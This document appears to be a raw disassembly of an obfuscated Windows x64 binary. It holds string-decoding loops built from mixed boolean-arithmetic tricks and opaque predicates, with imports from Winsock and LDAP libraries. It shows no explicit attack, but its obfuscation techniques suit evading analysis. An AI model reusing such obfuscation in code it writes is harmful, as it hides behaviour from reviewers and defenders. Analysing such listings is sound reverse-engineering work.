movabs rax, 0x1e6a70e7e63cadb3
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
add r10b, 0x1b
movabs rcx, 0x1a11e26b087af167
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x2f
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x730], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x42fc84d54df1535c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x730], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x730]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008eae2
movabs rcx, 0x7abfe73ed06325df
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x19
movzx eax, byte [rbp + rbx + 0x730]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008eae2
movabs rcx, 0x41e661361680e449
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
inc r10b
jmp 0x14008eae0
movabs rcx, 0xf0111c618b94205f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x67
jmp 0x14008ead0
lea rcx, [rbp + 0x149d7cc]
jmp 0x14008f61c
lea rcx, [rbp + 0x14039c1]
jmp 0x14008f61c
lea rcx, [rbp + 0x730]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140229de0]
lea rcx, [rbp + 0x108]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0x758], 0xda
mov byte [rbp + 0x759], 0xbb
mov byte [rbp + 0x75a], 0xcb
mov byte [rbp + 0x75b], Ordinal_211
mov byte [rbp + 0x75c], 0xc9
mov byte [rbp + 0x75d], 0xbf
mov byte [rbp + 0x75e], reloc.WS2_32.dll_recv
mov byte [rbp + 0x75f], Ordinal_41
mov byte [rbp + 0x760], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x761], 0x40
mov byte [rbp + 0x762], 0x47
mov byte [rbp + 0x763], gethostname
mov byte [rbp + 0x764], 0x3e
mov byte [rbp + 0x765], 0xc9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x766], xmm0
mov dword [rbp + 0x776], eax
mov byte [rbp + 0x77a], al
movabs rsi, 0x68751097f54da56d
movabs r13, 0xe067192bceba8df9
movabs r14, 0xd7faaac93f4b1633
movabs r15, 0x172c7871a1d5fa41
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009055e
movzx r11d, byte [rbp + rbx + 0x758]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140090552
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008f763
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x31
jmp 0x14008f7a0
je 0x1400904ca
lea rax, [r9 + 6]
cmp r8, rax
je 0x140090469
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009043f
lea rax, [r9 + 5]
cmp r8, rax
je 0x140090412
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400903be
nop dword [rax]
cmp r9, rbx
ja 0x140090546
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14008f7d8
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 5
add r10b, dl
jmp 0x14008f810
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140090396
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009036b
lea rax, [rcx + 1]
cmp r8, rax
je 0x140090347
lea rax, [r9 + 3]
cmp r8, rax
je 0x140090312
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008fe62
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008fe39
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008fe07
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008fddc
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008fdb3
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14008fd8f
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008fd5b
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008fd38
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14008fd14
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008fcda
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008f820
lea r8, [r9 + 0x2a]
lea r9, [r8 + 6]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140090522
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400904fe
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14008f9ff
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14008f9e0
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008f9c1
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14008fc7c
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008fbec
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008fbbd
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008f820
lea r8, [r9 + 0x5a]
lea r9, [r8 + 5]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14008fb83
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008fb5a
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14008fb32
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14008faf9
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008fad5
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14008faac
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008fa7d
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008fa4f
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008fa26
lea r8, [r9 + 8]
lea r9, [r8 + 4]
jmp 0x14008f820
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x65
add r10b, dl
jmp 0x14008f810
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x39
add r10b, dl
jmp 0x14008f7a0
movabs rdx, 0x565e461a0460de4f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x29
add r10b, dl
jmp 0x14008f725
movabs rdx, 0x43a884bfaa6d2b68
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400903dd
movabs rcx, 0x82da52680cf80f76
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3a
inc r9
dec rbx
inc rbx
jmp 0x14008f712
movabs rdx, 0xc20c20106f82f384
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008f712
movabs rdx, 0x13dedb8d20dd792
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140090488
movabs rcx, 0x406fbb613498bba0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x1400904b2
movabs rdx, 0x7fa1890997239fae
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f712
movabs rdx, 0xbed356b1f9ae83bc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x24
add r10b, dl
jmp 0x140090299
movabs rdx, 0xfe05245a5c3967ca
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400902c9
movabs rdx, 0x3d36f202bec44bd8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f712
movabs rcx, 0xdb337427b51f85fb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x23
mov byte [rbp + rbx + 0x758], r10b
inc rbx
jmp 0x14008f712
movabs rdx, 0x59970f787a354e17
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5f
add r10b, dl
cmp r8, 0x80
jae 0x14009023d
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140090124
movabs rdx, 0xe106100837c179c2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4e
add r10b, dl
cmp r9, 0x64
jb 0x14008fbdc
movabs rcx, 0x691407745e549136
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 3
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400903dd
movabs rcx, 0x98c8dd20dcc03225
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 3
lea rax, [r9 + r8]
cmp rax, 9
je 0x14009026d
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x140090013
movabs rcx, 0x7890ff704273d455
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x53
jmp 0x14008fc0f
movabs rdx, 0x72be638fbfd1e08e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f712
movabs rcx, 0xb1f03138225cc49c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
jmp 0x1400902c9
movabs rdx, 0xf121fee084e7a8aa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x140090293
movabs rcx, 0x3053cc88e7728cb8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f712
movabs rcx, 0x6f859a3149fd70c6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
jmp 0x1400904b2
movabs rdx, 0xaeb767d9ac8854d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140090488
movabs rcx, 0xede935820f1338e2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2e
dec rbx
inc rbx
jmp 0x14008f712
movabs rdx, 0x2d1b032a719e1cf0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008f712
movabs rdx, 0x6c4cd0d2d42900fe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400903dd
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14008fe8a
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
jmp 0x14008fc9b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008fed1
movabs rdx, 0xd0ea212fea9b4ada
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f712
inc rax
cmp r8, rax
jne 0x14008ff06
movabs rdx, 0x91b85387881066cc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400902c9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008ff3b
movabs rdx, 0x528685df258582be
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x32
add r10b, dl
jmp 0x140090299
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008ff6c
movabs rcx, 0xd422ea8e606fbaa2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
jmp 0x1400904b2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008ffa1
movabs rdx, 0x94f11ce5fde4d694
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xc
add r10b, dl
jmp 0x140090488
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008ffdd
movabs rdx, 0x55bf4f3d9b59f286
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008f712
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008fc9b
movabs rdx, 0xd75bb3ecd6442a6a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400903dd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140090044
movabs rcx, 0x395f31c7dfe8f047
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xf
jmp 0x1400903dd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009007b
movabs rcx, 0xbafb96771ad3282b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2d
dec rbx
inc rbx
jmp 0x14008f712
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400900ac
movabs rcx, 0x7bc9c8ceb848441d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
jmp 0x140090488
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400900e1
movabs rdx, 0xbe345fd590a797f3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5b
add r10b, dl
jmp 0x140090299
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008fc0f
movabs rcx, 0x3fd0c484cb91cfd7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1f
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f712
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14009016b
movabs rdx, 0xa1d4425fd53695b4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f712
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009019c
movabs rcx, 0xa50d0bbe4b0b057c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x1400904b2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400901cd
movabs rcx, 0x65db3e15e880216e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x140090488
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140090207
movabs rcx, 0xe777a2c5236a5952
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
inc r9
dec rbx
inc rbx
jmp 0x14008f712
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008fc4c
movabs rdx, 0xa845d51cc0df7544
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400903dd
movabs rdx, 0x29e239cbfbc9ad28
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0x758]
sub r10b, al
sub r10b, 0x18
add r10b, dl
add r10b, r11b
jmp 0x140090488
movabs rdx, 0xeab06c23993ec91a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x758]
add r10b, dl
add r10b, r11b
movabs rcx, 0xcb17854f67f95713
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x7b
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x758], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xab7e9e7b36b3e50c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x54
add r11b, cl
mov byte [rbp + rbx + 0x758], r11b
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f712
movabs rcx, 0xed4a3ea5a60c4d19
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x51
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f712
movabs rcx, 0x6badd9f66b221535
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x73
jmp 0x140090488
movabs rcx, 0xaadfa79ecdacf943
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x2b
dec rbx
inc rbx
jmp 0x14008f712
movabs rdx, 0x294342ef92c2c15f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x67
add r10b, dl
jmp 0x1400903dd
movabs rcx, 0xa7a6de4057d8897b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5d
movabs rcx, 0x497b20a02d0f1f2f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x49
add r11b, cl
mov byte [rbp + rbx + 0x758], r11b
inc r9
dec rbx
inc rbx
jmp 0x14008f712
movabs rcx, 0xe6d8abe8ba636d89
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
inc r9
dec rbx
inc rbx
jmp 0x14008f712
movabs rcx, 0x260a79911cee5197
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x21
dec rbx
inc rbx
jmp 0x14008f712
movabs rcx, 0x653c47397f7935a5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7d
movabs rdx, 0xa4952f7ca843b21
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x19
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x758], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f712
movabs rcx, 0xa1354b836c2fa9eb
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x6d
movzx eax, byte [rbp + rbx + 0x758]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f712
movabs rcx, 0x959013c266ebc25d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
jmp 0x14008f710
movabs rcx, 0xd4c1e16ac976a66b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x13
jmp 0x14008f700
lea rcx, [rbp + 0x1576aa4]
jmp 0x140090565
lea rcx, [rbp + 0xd1f89d]
jmp 0x140090565
lea rcx, [rbp + 0x758]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140229f20]
lea rcx, [rbp + 0x128]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0x780], 0x82
mov byte [rbp + 0x781], 0x9e
mov byte [rbp + 0x782], 0x9b
mov byte [rbp + 0x783], __WSAFDIsSet
mov byte [rbp + 0x784], 0x5a
mov byte [rbp + 0x785], 0x78
mov byte [rbp + 0x786], __WSAFDIsSet
mov byte [rbp + 0x787], 0x98
mov byte [rbp + 0x788], 0x9b
mov byte [rbp + 0x789], Ordinal_143
mov byte [rbp + 0x78a], reloc.WLDAP32.dll_Ordinal_32
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x78b], xmm0
mov qword [rbp + 0x79b], rax
movabs rsi, 0xf22294c9e2f6ad13
movabs r13, 0xce93eeb447c29a87
movabs r14, 0x2a529be2f6a9e74d
movabs r15, 0x8d2abe7a6724b23f
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140091449
movzx r11d, byte [rbp + rbx + 0x780]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009143d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140090693
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x4f
jmp 0x1400906d0
je 0x1400913b5
inc rax
cmp r8, rax
je 0x140091349
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400912f3
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400912c9
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009129b
nop dword [rax]
cmp r9, rbx
ja 0x140091431
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x140090704
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7b
jmp 0x140090740
lea rax, [r9 + 1]
cmp r8, rax
je 0x140091246
inc rax
cmp r8, rax
je 0x14009121c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400911be
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009119a
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140090dbc
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140090d98
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140090d6b
lea rax, [r9 + 5]
cmp r8, rax
je 0x140090d3c
lea rax, [r9 + 4]
cmp r8, rax
je 0x140090d14
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140090ceb
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140090cb2
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140090c8a
lea rax, [r9 + 2]
cmp r8, rax
je 0x140090c61
lea rax, [r9 + 1]
cmp r8, rax
je 0x140090c2c
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140090750
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14009140d
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400913e9
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14009093b
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140090920
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140090905
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140090bca
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140090b6b
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140090b1c
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140090aec
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140090750
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140090ab6
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140090a8e
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140090a65
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140090a31
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140090a08
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400909e0
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400909b6
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140090984
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14009095f
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140090750
lea r8, [r9 + 0xa]
lea r9, [r8 + 4]
jmp 0x140090750
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1b
jmp 0x140090740
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
jmp 0x1400906d0
movabs rcx, 0xf002e111d79f7d31
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
jmp 0x140090655
movabs rdx, 0x9114a64f17b56898
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x28
jmp 0x140091266
movabs rdx, 0xf3ecc8e68830338a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140090642
movabs rcx, 0x56c4eb7df8aafe7c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
dec rbx
inc rbx
jmp 0x140090642
movabs rdx, 0xb99d0e156925c96e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 2
add r10b, dl
jmp 0x1400911dd
movabs rdx, 0x1c7530acd9a09460
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140091204
movabs rcx, 0x7f4d53444a1b5f52
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090642
movabs rdx, 0xe22575dbba962a44
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140091314
movabs rdx, 0x44fd98732b10f536
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7a
add r10b, dl
jmp 0x14009136b
movabs rcx, 0xa7d5bb0a9b8bc028
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x18
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090642
movabs rcx, 0x9ef2118534bebb85
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x5d
mov byte [rbp + rbx + 0x780], r10b
inc rbx
jmp 0x140090642
movabs rcx, 0x1ca341ca5398677
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
